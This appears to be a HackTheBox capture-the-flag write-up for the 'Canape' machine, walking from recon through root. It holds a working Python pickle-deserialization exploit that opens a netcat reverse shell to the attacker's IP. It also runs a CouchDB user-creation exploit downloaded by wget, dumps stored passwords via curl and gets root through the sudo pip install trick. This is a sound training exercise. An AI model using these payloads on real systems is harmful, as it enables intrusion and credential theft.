This is a medium difficulty Linux machine from HackTheBox created by overcast. In this scenario, my IP is 10.10.14.36 and the targetโs IP is 10.129.177.254
The use of a file (.git) with the default name, makes the site easy to find by using Nmap scripts, this machine requires a basic understanding of Python and Burpsuite to get the parameters.
Recon
This step is always the same, you must ping the machine to see if is alive, and then use Nmap to scan all the ports to avoid surprises.
Copy $ ping -c 1 10.129.177.254
Pinging 10.129.177.254 with 32 bytes of data:
Reply from 10.129.177.254: bytes= 32 time=175ms TTL= 63
Reply from 10.129.177.254: bytes= 32 time=158ms TTL= 63
Reply from 10.129.177.254: bytes= 32 time=186ms TTL= 63
Reply from 10.129.177.254: bytes= 32 time=164ms TTL= 63
Ping statistics for 10.129.177.254:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss ),
Approximate round trip times in milli-seconds:
Minimum = 158ms, Maximum = 186ms, Average = 170ms
Copy $ nmap -p- --open -sS --min-rate 5000 -vvv -n 10.129.177.254 -oN Ports
Nmap scan report for 10.129.177.254
Host is up, received echo-reply ttl 63 (0.40s latency ).
Scanned at 2023-06-05 10:02:24 Pacific SA Standard Time for 28s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
65535/tcp open unknown syn-ack ttl 63
Read data files from: C: \P rogram Files (x86)\Nmap
Nmap done: 1 IP address (1 host up ) scanned in 28.88 seconds
Raw packets sent: 131089 (5.768MB) | Rcvd: 77 (3.372KB)
Copy $ nmap -sCV -p 80,65535 10.129.177.254 -oN Target
Nmap scan report for 10.129.177.254
Host is up (0.17s latency ).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-git:
| 10.129.177.254:80/.git/
| Git repository found!
| Repository description: Unnamed repository ; edit this file 'description' to name the...
| Last commit message: final # Please enter the commit message for your changes. Li...
| Remotes:
| _ http://git.canape.htb/simpsons.git
| _http-title: Simpsons Fan Site
| _http-trane-info: Problem with XML parsing of /evox/about
| _http-server-header: Apache/2.4.18 (Ubuntu)
65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux ; protocol 2.0 )
| ssh-hostkey:
| 2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
| 256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
| _ 256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519)
Service Info: OS: Linux ; CPE: cpe:/o:linux:linux_kernel
Copy $ whatweb 10.129.177.254
http://10.129.177.254 [200 OK] Apache[2.4.18], Bootstrap, Country[RESERVED][ZZ],
HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.177.254], JQuery,
Script, Title[Simpsons Fan Site]
Here we have valuable information, there is a .git and the port for SSH is different, once discovered makes no difference. Let's explore the website
Browser: http://10.129.177.254/.git/
Add both sites to etc host.
Copy echo "10.129.177.254 canape.htb git.canape.htb" >> /etc/hosts
Nothing here!
Browser: http://canape.htb
Hash: c8a74a098a60aaea1af98945bd707a7eab0ff4b0
Copy $ wfuzz -c -f FuzzFile -t 200 --hc=404 --hw=1 --hh=3076 -w /shared/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.129.177.254/FUZZ
Copy ********************************************************
* Wfuzz 3.1 . 0 - The Web Fuzzer *
********************************************************
Target : http : //10.129.177.254/FUZZ
Total requests : 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000171 : 200 81 L 167 W 2836 Ch "submit"
000000255 : 301 9 L 28 W 317 Ch "static"
000000673 : 200 85 L 227 W 3150 Ch "quotes"
000001314 : 405 4 L 23 W 178 Ch "check"
000095510 : 403 11 L 32 W 302 Ch "server-status"
The result when exploring each site:
/submit Submit page, it has some fillable text box.
/quotes Quotes list page, nothing.
/check Method not accepted
Testing
Now, the only thing that we can do, is to test many payloads.
Copy python3 -m http.server 80
Browser: http://10.129.177.254/submit
The character text box is restringed to a list of names, the Quote box is more flexible.
Copy git clone http://git.canape.htb/simpsons.git
Copy import couchdb
import string
import random
import base64
import cPickle # Usually cPickle is vulnerable
from flask import Flask , render_template , request
from hashlib import md5
app = Flask ( __name__ )
app . config . update (
DATABASE = "simpsons"
)
db = couchdb . Server ( "http://localhost:5984/" ) [app . config [ "DATABASE" ] ]
# Aditional information: DB > http://localhost:5984/
@app . errorhandler ( 404 )
def page_not_found ( e ):
if random . randrange ( 0 , 2 ) > 0 :
return '' . join (random. choice (string.ascii_uppercase + string.digits) for _ in range (random. randrange ( 50 , 250 )))
else :
return render_template ( "index.html" )
@app . route ( "/" )
def index ():
return render_template ( "index.html" )
R
@app . route ( "/quotes" )
def quotes ():
quotes = []
for id in db :
quotes . append ({ "title" : db[ id ][ "character" ], "text" : db[ id ][ "quote" ]})
return render_template ( 'quotes.html' , entries = quotes)
WHITELIST = [
"homer" ,
"marge" ,
"bart" ,
"lisa" ,
"maggie" ,
"moe" ,
"carl" ,
"krusty"
]
@app . route ( "/submit" , methods = [ "GET" , "POST" ])
def submit ():
error = None
success = None
if request . method == "POST" :
try :
char = request . form [ "character" ]
quote = request . form [ "quote" ]
if not char or not quote :
error = True
elif not any (c. lower () in char. lower () for c in WHITELIST):
# It uses "MATCH", so something like asdasdHomerasdasd will work
error = True
else :
# TODO - Pickle into dictionary instead, `check` is ready
p_id = md5 (char + quote). hexdigest () # ID = MD5 of char+quote
outfile = open ( "/tmp/" + p_id + ".p" , "wb" )
outfile . write (char + quote)
outfile . close ()
success = True
except Exception as ex :
error = True
return render_template ( "submit.html" , error = error, success = success)
@app . route ( "/check" , methods = [ "POST" ])
def check ():
path = "/tmp/" + request . form [ "id" ] + ".p"
data = open (path, "rb" ). read ()
if "p1" in data :
item = cPickle . loads (data)
else :
item = data
return "Still reviewing: " + item
if __name__ == "__main__" :
app . run ()
Information captured:
It uses "MATCH", so something like "asdasdHomerasdasd" will work
Reverse Shell [www-data]
cPickle is a dangerous library because it represent a python object in a string of bytes and viceversa.
Copy #!/usr/bin/python2.7
#coding utf-8
import pickle
import sys
import os
import requests
import signal
import hashlib
def def_handler ( sig , frame ):
print ( "\n BREAK! \n" )
sys . exit ( 1 )
# CTRL + C
signal . signal (signal.SIGINT, def_handler)
class PickleRCE ( object ):
def __reduce__ ( self ):
import os
return (os . system , ( 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.36 443 >/tmp/f; Homer' , ))
# URLs
submit_url = 'http://10.129.177.254/submit'
check_url = 'http://10.129.177.254/check'
def makeRequest ():
character = pickle . dumps ( PickleRCE ())
quote = "Exploit"
post_data = {
'character' : character ,
'quote' : quote
}
r = requests . post (submit_url, data = post_data)
md5_id = hashlib . md5 (character + quote). hexdigest ()
post_data = {
'id' : md5_id
}
r = requests . post (check_url, data = post_data)
if __name__ == '__main__' :
makeRequest ()
Open two terminals, one to execute the exploit and the other one to connect
User Scalation [Homer]
Do a shell upgrade before continue.
At the git project we found a database.
Target Terminal [www-data]
Copy $ curl http://localhost:5984
{ "couchdb" : "Welcome" , "version" : "2.0.0" , "vendor" : { " name ":" The Apache Software Foundation "}}
Couch 2.0.0, now that we have the version we can check at exploitdb.
Download the python script at your local machine and send it to the target.
Copy # At the same folder of the file.
python3 -m http.server 80
Target Terminal [www-data]
Copy $ cd /tmp/
$ wget http://10.10.14.36/44498.py
--2023-06-05 13:08:29-- http://10.10.14.36/44498.py
Target Terminal [www-data]
Copy $ python 44498.py -p 5984 -u tartox -P tartox 127.0.0.1
[+] User to create: tartox
[+] Password: tartox
[+] Attacking host 127.0.0.1 on port 5984
[+] User tartox with password tartox successfully created.
Now we are going to explore inside the data base, there is a link about how to explore couchdb by using Curl.
Target Terminal [www-data]
Copy $ curl http://tartox:tartox@localhost:5984
{ "couchdb" : "Welcome" , "version" : "2.0.0" , "vendor" : { " name ":" The Apache Software Foundation "}}
$ curl http://tartox:tartox@localhost:5984/_all_dbs
[" _global_changes "," _metadata "," _replicator "," _users "," passwords "," simpsons "]
$ curl http://tartox:tartox@localhost:5984/passwords/_all_docs
{" total_rows ":4," offset ":0," rows ":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}
Now we have to see the information to each id.
Target Terminal [www-data]
Copy $ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4
{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}
$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d
{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}
$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438003e5f
{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}
$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438004738
{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}
If there are MAAANY users, you can use the following command:
Target Terminal [www-data]
Copy curl -s http://tartox:tartox@localhost:5984/passwords/_all_docs | grep -oP '".*?"' | grep "73" | sort -u | tr -d '"'
Copy 739c5ebdf3f7a001bebb8fc4380019e4
739c5ebdf3f7a001bebb8fc43800368d
739c5ebdf3f7a001bebb8fc438003e5f
739c5ebdf3f7a001bebb8fc438004738
Target Terminal [www-data]
Copy for id in $(curl -s http://tartox:tartox@localhost:5984/passwords/_all_docs | grep -oP '".*?"' | grep "73" | sort -u | tr -d '"'); do echo -e "\n [+] Testing: \n"; curl -s http://tartox:tartox@localhost:5984/passwords/$id; done
Thanks S4vitar for this class, soon I will do it by myself.
Now we know 4 users and 4 password to test, after trying, the correct one is:
Target Terminal [www-data]
Copy $ su homer # password: 0B4jyA0xtytZi7esBNGp
$ cat /home/homer/user.txt
e3aeb9c50c15ff651284588bdcf14064
Privilege Scalation [Root]
Now we have to find a way to escalate.
Target Terminal [www-data]
Copy $ id
uid = 1000 ( homer ) gid = 1000 ( homer ) groups = 1000 ( homer )
$ sudo -l
[sudo] password for homer:
Matching Defaults entries for homer on canape:
env_reset, mail_badpass, secure_path=/usr/local/sbin \: /usr/local/bin \: /usr/sbin \: /usr/bin \: /sbin \: /bin \: /snap/bin
User homer may run the following commands on canape:
( root ) /usr/bin/pip install *
That was easy, at GTFOBins you can find the steps to scalate through pip.
Target Terminal [www-data]
Copy homer@canape:/tmp$ TF= $( mktemp -d )
homer@canape:/tmp$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$( tty ) >$( tty ) 2>$( tty )')" > $TF /setup.py
homer@canape:/tmp$ sudo pip install $TF
Copy $ whoami
root
$ cat /root/root.txt
e7190a6848a7ab5fd61faecc46de1935